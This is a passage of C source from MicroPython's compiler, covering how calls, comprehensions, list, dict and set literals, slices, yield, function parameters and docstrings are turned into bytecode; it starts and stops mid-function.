(mp_parse_node_struct_t**)&pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns_trail[0]) == PN_atom_expr_trailers) { num_trail = MP_PARSE_NODE_STRUCT_NUM_NODES(pns_trail[0]); pns_trail = (mp_parse_node_struct_t**)&pns_trail[0]->nodes[0]; } // the current index into the array of trailers size_t i = 0; // handle special super() call if (comp->scope_cur->kind == SCOPE_FUNCTION && MP_PARSE_NODE_IS_ID(pns->nodes[0]) && MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]) == MP_QSTR_super && MP_PARSE_NODE_STRUCT_KIND(pns_trail[0]) == PN_trailer_paren && MP_PARSE_NODE_IS_NULL(pns_trail[0]->nodes[0])) { // at this point we have matched "super()" within a function // load the class for super to search for a parent compile_load_id(comp, MP_QSTR___class__); // look for first argument to function (assumes it's "self") bool found = false; id_info_t *id = &comp->scope_cur->id_info[0]; for (size_t n = comp->scope_cur->id_info_len; n > 0; --n, ++id) { if (id->flags & ID_FLAG_IS_PARAM) { // first argument found; load it compile_load_id(comp, id->qst); found = true; break; } } if (!found) { compile_syntax_error(comp, (mp_parse_node_t)pns_trail[0], "super() can't find self"); // really a TypeError return; } if (num_trail >= 3 && MP_PARSE_NODE_STRUCT_KIND(pns_trail[1]) == PN_trailer_period && MP_PARSE_NODE_STRUCT_KIND(pns_trail[2]) == PN_trailer_paren) { // optimisation for method calls super().f(...), to eliminate heap allocation mp_parse_node_struct_t *pns_period = pns_trail[1]; mp_parse_node_struct_t *pns_paren = pns_trail[2]; EMIT_ARG(load_method, MP_PARSE_NODE_LEAF_ARG(pns_period->nodes[0]), true); compile_trailer_paren_helper(comp, pns_paren->nodes[0], true, 0); i = 3; } else { // a super() call EMIT_ARG(call_function, 2, 0, 0); i = 1; } } // compile the remaining trailers for (; i < num_trail; i++) { if (i + 1 < num_trail && MP_PARSE_NODE_STRUCT_KIND(pns_trail[i]) == PN_trailer_period && MP_PARSE_NODE_STRUCT_KIND(pns_trail[i + 1]) == PN_trailer_paren) { // optimisation for method calls a.f(...), following PyPy mp_parse_node_struct_t *pns_period = pns_trail[i]; mp_parse_node_struct_t *pns_paren = pns_trail[i + 1]; EMIT_ARG(load_method, MP_PARSE_NODE_LEAF_ARG(pns_period->nodes[0]), false); compile_trailer_paren_helper(comp, pns_paren->nodes[0], true, 0); i += 1; } else { // node is one of: trailer_paren, trailer_bracket, trailer_period compile_node(comp, (mp_parse_node_t)pns_trail[i]); } } } STATIC void compile_power(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_generic_all_nodes(comp, pns); // 2 nodes, arguments of power EMIT_ARG(binary_op, MP_BINARY_OP_POWER); } STATIC void compile_trailer_paren_helper(compiler_t *comp, mp_parse_node_t pn_arglist, bool is_method_call, int n_positional_extra) { // function to call is on top of stack // get the list of arguments mp_parse_node_t *args; int n_args = mp_parse_node_extract_list(&pn_arglist, PN_arglist, &args); // compile the arguments // Rather than calling compile_node on the list, we go through the list of args // explicitly here so that we can count the number of arguments and give sensible // error messages. int n_positional = n_positional_extra; uint n_keyword = 0; uint star_flags = 0; mp_parse_node_struct_t *star_args_node = NULL, *dblstar_args_node = NULL; for (int i = 0; i < n_args; i++) { if (MP_PARSE_NODE_IS_STRUCT(args[i])) { mp_parse_node_struct_t *pns_arg = (mp_parse_node_struct_t*)args[i]; if (MP_PARSE_NODE_STRUCT_KIND(pns_arg) == PN_arglist_star) { if (star_flags & MP_EMIT_STAR_FLAG_SINGLE) { compile_syntax_error(comp, (mp_parse_node_t)pns_arg, "can't have multiple *x"); return; } star_flags |= MP_EMIT_STAR_FLAG_SINGLE; star_args_node = pns_arg; } else if (MP_PARSE_NODE_STRUCT_KIND(pns_arg) == PN_arglist_dbl_star) { if (star_flags & MP_EMIT_STAR_FLAG_DOUBLE) { compile_syntax_error(comp, (mp_parse_node_t)pns_arg, "can't have multiple **x"); return; } star_flags |= MP_EMIT_STAR_FLAG_DOUBLE; dblstar_args_node = pns_arg; } else if (MP_PARSE_NODE_STRUCT_KIND(pns_arg) == PN_argument) { if (!MP_PARSE_NODE_IS_STRUCT_KIND(pns_arg->nodes[1], PN_comp_for)) { if (!MP_PARSE_NODE_IS_ID(pns_arg->nodes[0])) { compile_syntax_error(comp, (mp_parse_node_t)pns_arg, "LHS of keyword arg must be an id"); return; } EMIT_ARG(load_const_str, MP_PARSE_NODE_LEAF_ARG(pns_arg->nodes[0])); compile_node(comp, pns_arg->nodes[1]); n_keyword += 1; } else { compile_comprehension(comp, pns_arg, SCOPE_GEN_EXPR); n_positional++; } } else { goto normal_argument; } } else { normal_argument: if (star_flags) { compile_syntax_error(comp, args[i], "non-keyword arg after */**"); return; } if (n_keyword > 0) { compile_syntax_error(comp, args[i], "non-keyword arg after keyword arg"); return; } compile_node(comp, args[i]); n_positional++; } } // compile the star/double-star arguments if we had them // if we had one but not the other then we load "null" as a place holder if (star_flags != 0) { if (star_args_node == NULL) { EMIT(load_null); } else { compile_node(comp, star_args_node->nodes[0]); } if (dblstar_args_node == NULL) { EMIT(load_null); } else { compile_node(comp, dblstar_args_node->nodes[0]); } } // emit the function/method call if (is_method_call) { EMIT_ARG(call_method, n_positional, n_keyword, star_flags); } else { EMIT_ARG(call_function, n_positional, n_keyword, star_flags); } } // pns needs to have 2 nodes, first is lhs of comprehension, second is PN_comp_for node STATIC void compile_comprehension(compiler_t *comp, mp_parse_node_struct_t *pns, scope_kind_t kind) { assert(MP_PARSE_NODE_STRUCT_NUM_NODES(pns) == 2); assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_comp_for)); mp_parse_node_struct_t *pns_comp_for = (mp_parse_node_struct_t*)pns->nodes[1]; if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this comprehension scope_t *s = scope_new_and_link(comp, kind, (mp_parse_node_t)pns, comp->scope_cur->emit_options); // store the comprehension scope so the compiling function (this one) can use it at each pass pns_comp_for->nodes[3] = (mp_parse_node_t)s; } // get the scope for this comprehension scope_t *this_scope = (scope_t*)pns_comp_for->nodes[3]; // compile the comprehension close_over_variables_etc(comp, this_scope, 0, 0); compile_node(comp, pns_comp_for->nodes[1]); // source of the iterator if (kind == SCOPE_GEN_EXPR) { EMIT_ARG(get_iter, false); } EMIT_ARG(call_function, 1, 0, 0); } STATIC void compile_atom_paren(compiler_t *comp, mp_parse_node_struct_t *pns) { if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // an empty tuple c_tuple(comp, MP_PARSE_NODE_NULL, NULL); } else { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)); pns = (mp_parse_node_struct_t*)pns->nodes[0]; assert(!MP_PARSE_NODE_IS_NULL(pns->nodes[1])); if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) { mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3b) { // tuple of one item, with trailing comma assert(MP_PARSE_NODE_IS_NULL(pns2->nodes[0])); c_tuple(comp, pns->nodes[0], NULL); } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3c) { // tuple of many items c_tuple(comp, pns->nodes[0], pns2); } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_comp_for) { // generator expression compile_comprehension(comp, pns, SCOPE_GEN_EXPR); } else { // tuple with 2 items goto tuple_with_2_items; } } else { // tuple with 2 items tuple_with_2_items: c_tuple(comp, MP_PARSE_NODE_NULL, pns); } } } STATIC void compile_atom_bracket(compiler_t *comp, mp_parse_node_struct_t *pns) { if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // empty list EMIT_ARG(build_list, 0); } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)) { mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[0]; if (MP_PARSE_NODE_IS_STRUCT(pns2->nodes[1])) { mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pns2->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_testlist_comp_3b) { // list of one item, with trailing comma assert(MP_PARSE_NODE_IS_NULL(pns3->nodes[0])); compile_node(comp, pns2->nodes[0]); EMIT_ARG(build_list, 1); } else if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_testlist_comp_3c) { // list of many items compile_node(comp, pns2->nodes[0]); compile_generic_all_nodes(comp, pns3); EMIT_ARG(build_list, 1 + MP_PARSE_NODE_STRUCT_NUM_NODES(pns3)); } else if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_comp_for) { // list comprehension compile_comprehension(comp, pns2, SCOPE_LIST_COMP); } else { // list with 2 items goto list_with_2_items; } } else { // list with 2 items list_with_2_items: compile_node(comp, pns2->nodes[0]); compile_node(comp, pns2->nodes[1]); EMIT_ARG(build_list, 2); } } else { // list with 1 item compile_node(comp, pns->nodes[0]); EMIT_ARG(build_list, 1); } } STATIC void compile_atom_brace(compiler_t *comp, mp_parse_node_struct_t *pns) { mp_parse_node_t pn = pns->nodes[0]; if (MP_PARSE_NODE_IS_NULL(pn)) { // empty dict EMIT_ARG(build_map, 0); } else if (MP_PARSE_NODE_IS_STRUCT(pn)) { pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_dictorsetmaker_item) { // dict with one element EMIT_ARG(build_map, 1); compile_node(comp, pn); EMIT(store_map); } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_dictorsetmaker) { assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should succeed mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_dictorsetmaker_list) { // dict/set with multiple elements // get tail elements (2nd, 3rd, ...) mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pns1->nodes[0], PN_dictorsetmaker_list2, &nodes); // first element sets whether it's a dict or set bool is_dict; if (!MICROPY_PY_BUILTINS_SET || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_dictorsetmaker_item)) { // a dictionary EMIT_ARG(build_map, 1 + n); compile_node(comp, pns->nodes[0]); EMIT(store_map); is_dict = true; } else { // a set compile_node(comp, pns->nodes[0]); // 1st value of set is_dict = false; } // process rest of elements for (int i = 0; i < n; i++) { mp_parse_node_t pn_i = nodes[i]; bool is_key_value = MP_PARSE_NODE_IS_STRUCT_KIND(pn_i, PN_dictorsetmaker_item); compile_node(comp, pn_i); if (is_dict) { if (!is_key_value) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { compile_syntax_error(comp, (mp_parse_node_t)pns, "invalid syntax"); } else { compile_syntax_error(comp, (mp_parse_node_t)pns, "expecting key:value for dict"); } return; } EMIT(store_map); } else { if (is_key_value) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { compile_syntax_error(comp, (mp_parse_node_t)pns, "invalid syntax"); } else { compile_syntax_error(comp, (mp_parse_node_t)pns, "expecting just a value for set"); } return; } } } #if MICROPY_PY_BUILTINS_SET // if it's a set, build it if (!is_dict) { EMIT_ARG(build_set, 1 + n); } #endif } else { assert(MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_comp_for); // should be // dict/set comprehension if (!MICROPY_PY_BUILTINS_SET || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_dictorsetmaker_item)) { // a dictionary comprehension compile_comprehension(comp, pns, SCOPE_DICT_COMP); } else { // a set comprehension compile_comprehension(comp, pns, SCOPE_SET_COMP); } } } else { // set with one element goto set_with_one_element; } } else { // set with one element set_with_one_element: #if MICROPY_PY_BUILTINS_SET compile_node(comp, pn); EMIT_ARG(build_set, 1); #else assert(0); #endif } } STATIC void compile_trailer_paren(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_trailer_paren_helper(comp, pns->nodes[0], false, 0); } STATIC void compile_trailer_bracket(compiler_t *comp, mp_parse_node_struct_t *pns) { // object who's index we want is on top of stack compile_node(comp, pns->nodes[0]); // the index EMIT(load_subscr); } STATIC void compile_trailer_period(compiler_t *comp, mp_parse_node_struct_t *pns) { // object who's attribute we want is on top of stack EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(pns->nodes[0])); // attribute to get } #if MICROPY_PY_BUILTINS_SLICE STATIC void compile_subscript_3_helper(compiler_t *comp, mp_parse_node_struct_t *pns) { assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_subscript_3); // should always be mp_parse_node_t pn = pns->nodes[0]; if (MP_PARSE_NODE_IS_NULL(pn)) { // [?:] EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT_ARG(build_slice, 2); } else if (MP_PARSE_NODE_IS_STRUCT(pn)) { pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_subscript_3c) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); pn = pns->nodes[0]; if (MP_PARSE_NODE_IS_NULL(pn)) { // [?::] EMIT_ARG(build_slice, 2); } else { // [?::x] compile_node(comp, pn); EMIT_ARG(build_slice, 3); } } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_subscript_3d) { compile_node(comp, pns->nodes[0]); assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should always be pns = (mp_parse_node_struct_t*)pns->nodes[1]; assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_sliceop); // should always be if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // [?:x:] EMIT_ARG(build_slice, 2); } else { // [?:x:x] compile_node(comp, pns->nodes[0]); EMIT_ARG(build_slice, 3); } } else { // [?:x] compile_node(comp, pn); EMIT_ARG(build_slice, 2); } } else { // [?:x] compile_node(comp, pn); EMIT_ARG(build_slice, 2); } } STATIC void compile_subscript_2(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_node(comp, pns->nodes[0]); // start of slice assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should always be compile_subscript_3_helper(comp, (mp_parse_node_struct_t*)pns->nodes[1]); } STATIC void compile_subscript_3(compiler_t *comp, mp_parse_node_struct_t *pns) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); compile_subscript_3_helper(comp, pns); } #endif // MICROPY_PY_BUILTINS_SLICE STATIC void compile_dictorsetmaker_item(compiler_t *comp, mp_parse_node_struct_t *pns) { // if this is called then we are compiling a dict key:value pair compile_node(comp, pns->nodes[1]); // value compile_node(comp, pns->nodes[0]); // key } STATIC void compile_classdef(compiler_t *comp, mp_parse_node_struct_t *pns) { qstr cname = compile_classdef_helper(comp, pns, comp->scope_cur->emit_options); // store class object into class name compile_store_id(comp, cname); } STATIC void compile_yield_expr(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->scope_cur->kind != SCOPE_FUNCTION && comp->scope_cur->kind != SCOPE_LAMBDA) { compile_syntax_error(comp, (mp_parse_node_t)pns, "'yield' outside function"); return; } if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(yield_value); } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_yield_arg_from)) { pns = (mp_parse_node_struct_t*)pns->nodes[0]; compile_node(comp, pns->nodes[0]); compile_yield_from(comp); } else { compile_node(comp, pns->nodes[0]); EMIT(yield_value); } } #if MICROPY_PY_ASYNC_AWAIT STATIC void compile_atom_expr_await(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->scope_cur->kind != SCOPE_FUNCTION && comp->scope_cur->kind != SCOPE_LAMBDA) { compile_syntax_error(comp, (mp_parse_node_t)pns, "'await' outside function"); return; } compile_atom_expr_normal(comp, pns); compile_yield_from(comp); } #endif STATIC mp_obj_t get_const_object(mp_parse_node_struct_t *pns) { #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D // nodes are 32-bit pointers, but need to extract 64-bit object return (uint64_t)pns->nodes[0] | ((uint64_t)pns->nodes[1] << 32); #else return (mp_obj_t)pns->nodes[0]; #endif } STATIC void compile_const_object(compiler_t *comp, mp_parse_node_struct_t *pns) { EMIT_ARG(load_const_obj, get_const_object(pns)); } typedef void (*compile_function_t)(compiler_t*, mp_parse_node_struct_t*); STATIC const compile_function_t compile_function[] = { // only define rules with a compile function #define c(f) compile_##f #define DEF_RULE(rule, comp, kind, ...) comp, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef c #undef DEF_RULE #undef DEF_RULE_NC compile_const_object, }; STATIC void compile_node(compiler_t *comp, mp_parse_node_t pn) { if (MP_PARSE_NODE_IS_NULL(pn)) { // pass } else if (MP_PARSE_NODE_IS_SMALL_INT(pn)) { mp_int_t arg = MP_PARSE_NODE_LEAF_SMALL_INT(pn); #if MICROPY_DYNAMIC_COMPILER mp_uint_t sign_mask = -(1 << (mp_dynamic_compiler.small_int_bits - 1)); if ((arg & sign_mask) == 0 || (arg & sign_mask) == sign_mask) { // integer fits in target runtime's small-int EMIT_ARG(load_const_small_int, arg); } else { // integer doesn't fit, so create a multi-precision int object // (but only create the actual object on the last pass) if (comp->pass != MP_PASS_EMIT) { EMIT_ARG(load_const_obj, mp_const_none); } else { EMIT_ARG(load_const_obj, mp_obj_new_int_from_ll(arg)); } } #else EMIT_ARG(load_const_small_int, arg); #endif } else if (MP_PARSE_NODE_IS_LEAF(pn)) { uintptr_t arg = MP_PARSE_NODE_LEAF_ARG(pn); switch (MP_PARSE_NODE_LEAF_KIND(pn)) { case MP_PARSE_NODE_ID: compile_load_id(comp, arg); break; case MP_PARSE_NODE_STRING: EMIT_ARG(load_const_str, arg); break; case MP_PARSE_NODE_BYTES: // only create and load the actual bytes object on the last pass if (comp->pass != MP_PASS_EMIT) { EMIT_ARG(load_const_obj, mp_const_none); } else { size_t len; const byte *data = qstr_data(arg, &len); EMIT_ARG(load_const_obj, mp_obj_new_bytes(data, len)); } break; case MP_PARSE_NODE_TOKEN: default: if (arg == MP_TOKEN_NEWLINE) { // this can occur when file_input lets through a NEWLINE (eg if file starts with a newline) // or when single_input lets through a NEWLINE (user enters a blank line) // do nothing } else { EMIT_ARG(load_const_tok, arg); } break; } } else { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; EMIT_ARG(set_source_line, pns->source_line); assert(MP_PARSE_NODE_STRUCT_KIND(pns) <= PN_const_object); compile_function_t f = compile_function[MP_PARSE_NODE_STRUCT_KIND(pns)]; f(comp, pns); } } STATIC void compile_scope_func_lambda_param(compiler_t *comp, mp_parse_node_t pn, pn_kind_t pn_name, pn_kind_t pn_star, pn_kind_t pn_dbl_star) { // check that **kw is last if ((comp->scope_cur->scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) { compile_syntax_error(comp, pn, "invalid syntax"); return; } qstr param_name = MP_QSTR_NULL; uint param_flag = ID_FLAG_IS_PARAM; if (MP_PARSE_NODE_IS_ID(pn)) { param_name = MP_PARSE_NODE_LEAF_ARG(pn); if (comp->have_star) { // comes after a star, so counts as a keyword-only parameter comp->scope_cur->num_kwonly_args += 1; } else { // comes before a star, so counts as a positional parameter comp->scope_cur->num_pos_args += 1; } } else { assert(MP_PARSE_NODE_IS_STRUCT(pn)); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_STRUCT_KIND(pns) == pn_name) { param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); if (comp->have_star) { // comes after a star, so counts as a keyword-only parameter comp->scope_cur->num_kwonly_args += 1; } else { // comes before a star, so counts as a positional parameter comp->scope_cur->num_pos_args += 1; } } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == pn_star) { if (comp->have_star) { // more than one star compile_syntax_error(comp, pn, "invalid syntax"); return; } comp->have_star = true; param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_STAR_PARAM; if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // bare star // TODO see http://www.python.org/dev/peps/pep-3102/ //assert(comp->scope_cur->num_dict_params == 0); } else if (MP_PARSE_NODE_IS_ID(pns->nodes[0])) { // named star comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS; param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); } else { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_tfpdef)); // should be // named star with possible annotation comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS; pns = (mp_parse_node_struct_t*)pns->nodes[0]; param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); } } else { assert(MP_PARSE_NODE_STRUCT_KIND(pns) == pn_dbl_star); // should be param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_DBL_STAR_PARAM; comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARKEYWORDS; } } if (param_name != MP_QSTR_NULL) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, param_name, &added); if (!added) { compile_syntax_error(comp, pn, "name reused for argument"); return; } id_info->kind = ID_INFO_KIND_LOCAL; id_info->flags = param_flag; } } STATIC void compile_scope_func_param(compiler_t *comp, mp_parse_node_t pn) { compile_scope_func_lambda_param(comp, pn, PN_typedargslist_name, PN_typedargslist_star, PN_typedargslist_dbl_star); } STATIC void compile_scope_lambda_param(compiler_t *comp, mp_parse_node_t pn) { compile_scope_func_lambda_param(comp, pn, PN_varargslist_name, PN_varargslist_star, PN_varargslist_dbl_star); } #if MICROPY_EMIT_NATIVE STATIC void compile_scope_func_annotations(compiler_t *comp, mp_parse_node_t pn) { if (!MP_PARSE_NODE_IS_STRUCT(pn)) { // no annotation return; } mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_typedargslist_name) { // named parameter with possible annotation // fallthrough } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_typedargslist_star) { if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_tfpdef)) { // named star with possible annotation pns = (mp_parse_node_struct_t*)pns->nodes[0]; // fallthrough } else { // no annotation return; } } else { assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_typedargslist_dbl_star); // double star with possible annotation // fallthrough } mp_parse_node_t pn_annotation = pns->nodes[1]; if (!MP_PARSE_NODE_IS_NULL(pn_annotation)) { qstr param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); id_info_t *id_info = scope_find(comp->scope_cur, param_name); assert(id_info != NULL); if (MP_PARSE_NODE_IS_ID(pn_annotation)) { qstr arg_type = MP_PARSE_NODE_LEAF_ARG(pn_annotation); EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ARG, id_info->local_num, arg_type); } else { compile_syntax_error(comp, pn_annotation, "parameter annotation must be an identifier"); } } } #endif // MICROPY_EMIT_NATIVE STATIC void compile_scope_comp_iter(compiler_t *comp, mp_parse_node_struct_t *pns_comp_for, mp_parse_node_t pn_inner_expr, int for_depth) { uint l_top = comp_next_label(comp); uint l_end = comp_next_label(comp); EMIT_ARG(label_assign, l_top); EMIT_ARG(for_iter, l_end); c_assign(comp, pns_comp_for->nodes[0], ASSIGN_STORE); mp_parse_node_t pn_iter = pns_comp_for->nodes[2]; tail_recursion: if (MP_PARSE_NODE_IS_NULL(pn_iter)) { // no more nested if/for; compile inner expression compile_node(comp, pn_inner_expr); if (comp->scope_cur->kind == SCOPE_GEN_EXPR) { EMIT(yield_value); EMIT(pop_top); } else { EMIT_ARG(store_comp, comp->scope_cur->kind, 4 * for_depth + 5); } } else if (MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_iter) == PN_comp_if) { // if condition mp_parse_node_struct_t *pns_comp_if = (mp_parse_node_struct_t*)pn_iter; c_if_cond(comp, pns_comp_if->nodes[0], false, l_top); pn_iter = pns_comp_if->nodes[1]; goto tail_recursion; } else { assert(MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_iter) == PN_comp_for); // should be // for loop mp_parse_node_struct_t *pns_comp_for2 = (mp_parse_node_struct_t*)pn_iter; compile_node(comp, pns_comp_for2->nodes[1]); EMIT_ARG(get_iter, true); compile_scope_comp_iter(comp, pns_comp_for2, pn_inner_expr, for_depth + 1); } EMIT_ARG(jump, l_top); EMIT_ARG(label_assign, l_end); EMIT(for_iter_end); } STATIC void check_for_doc_string(compiler_t *comp, mp_parse_node_t pn) { #if MICROPY_ENABLE_DOC_STRING // see http://www.python.org/dev/peps/pep-0257/ // look for the first statement if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) { // a statement; fall through } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_file_input_2)) { // file input; find the first non-newline node mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); for (int i = 0; i < num_nodes; i++) { pn = pns->nodes[i]; if (!(MP_PARSE_NODE_IS_LEAF(pn) && MP_PARSE_NODE_LEAF_KIND(pn) == MP_PARSE_NODE_TOKEN && MP_PARSE_NODE_LEAF_ARG(pn) == MP_TOKEN_NEWLINE)) { // not a newline, so this is the first statement; finish search break; } } // if we didn't find a non-newline then it's okay to fall through; pn will be a newline and so doc-string test below will fail gracefully } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_suite_block_stmts)) { // a list of statements; get the first one pn = ((mp_parse_node_struct_t*)pn)->nodes[0]; } else { return; } // check the first statement for a doc string if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0]) && MP_PARSE_NODE_LEAF_KIND(pns->nodes[0]) == MP_PARSE_NODE_STRING) || (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_const_object) && MP_OBJ_IS_STR(get_const_object((mp_parse_node_struct_t*)pns->nodes[0])))) { // compile the doc string compile_node(comp, pns->nodes[0]); // store the doc string compile_store_id(comp, MP_QSTR___doc__); } } #else (void)comp; (void)pn; #endif } STATIC void compile_scope(compiler_t *comp, scope_t *scope, pass_kind_t pass) { comp->pass = pass; comp->scope_cur = scope; comp->next_label = 0; EMIT_ARG(start_pass, pass, scope); if (comp->pass == MP_PASS_SCOPE) { // reset maximum stack sizes in scope // they will be computed in this first pass scope->stack_size = 0; scope->exc_stack_size = 0; } // compile if (MP_PARSE_NODE_IS_STRUCT_KIND(scope->pn, PN_eval_input)) { assert(scope->kind == SCOPE_MODULE); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn; compile_node(comp, pns->nodes[0]); // compile the expression EMIT(return_value); } else if (scope->kind == SCOPE_MODULE) { if (!comp->is_repl) { check_for_doc_string(comp, scope->pn); } compile_node(comp, scope->pn); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(return_value); } else if (scope->kind == SCOPE_FUNCTION) { assert(MP_PARSE_NODE_IS_STRUCT(scope->pn)); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn; assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_funcdef); // work out number of parameters, keywords and default parameters, and add them to the id_info array // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc) if (comp->pass == MP_PASS_SCOPE) { comp->have_star = false; apply_to_single_or_list(comp, pns->nodes[1], PN_typedargslist, compile_scope_func_param); } #if MICROPY_EMIT_NATIVE else if (scope->emit_options == MP_EMIT_OPT_VIPER) { // compile annotations; only needed on latter compiler passes // only needed for viper emitter // argument annotations apply_to_single_or_list(comp, pns->nodes[1], PN_typedargslist, compile_scope_func_annotations); // pns->nodes[2] is return/whole function annotation mp_parse_node_t pn_annotation = pns->nodes[2]; if (!MP_PARSE_NODE_IS_NULL(pn_annotation)) { // nodes[2] can be null or a test-expr if (MP_PARSE_NODE_IS_ID(pn_annotation)) { qstr ret_type = MP_PARSE_NODE_LEAF_ARG(pn_annotation); EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_RETURN, 0, ret_type); } else { compile_syntax_error(comp, pn_annotation, "return annotation must be an identifier"); } } } #endif // MICROPY_EMIT_NATIVE compile_node(comp, pns->nodes[3]); // 3 is function body // emit return if it wasn't the last opcode if (!EMIT(last_emit_was_return_value)) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(return_value); } } else if (scope->kind == SCOPE_LAMBDA) { assert(MP_PARSE_NODE_IS_STRUCT(scope->pn)); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn; assert(MP_PARSE_NODE_STRUCT_NUM_NODES(pns) == 3); // work out number of parameters, keywords and default parameters, and add them to the id_info array // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc) if (comp->pass == MP_PASS_SCOPE) { comp->have_star = false; apply_to_single_or_list(comp, pns->nodes[0], PN_varargslist, compile_scope_lambda_param); } compile_node(comp, pns->nodes[1]); // 1 is lambda body // if the lambda is a generator, then we return None, not the result of the expression of the lambda if (scope->scope_flags & MP_SCOPE_FLAG_GENERATOR) { EMIT(pop_top); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } EMIT(return_value); } else if (scope->kind == SCOPE_LIST_COMP || scope->kind == SCOPE_DICT_COMP || scope->kind == SCOPE_SET_COMP || scope->kind == SCOPE_GEN_EXPR) { // a bit of a hack at the moment assert(MP_PARSE_NODE_IS_STRUCT(scope->pn)); 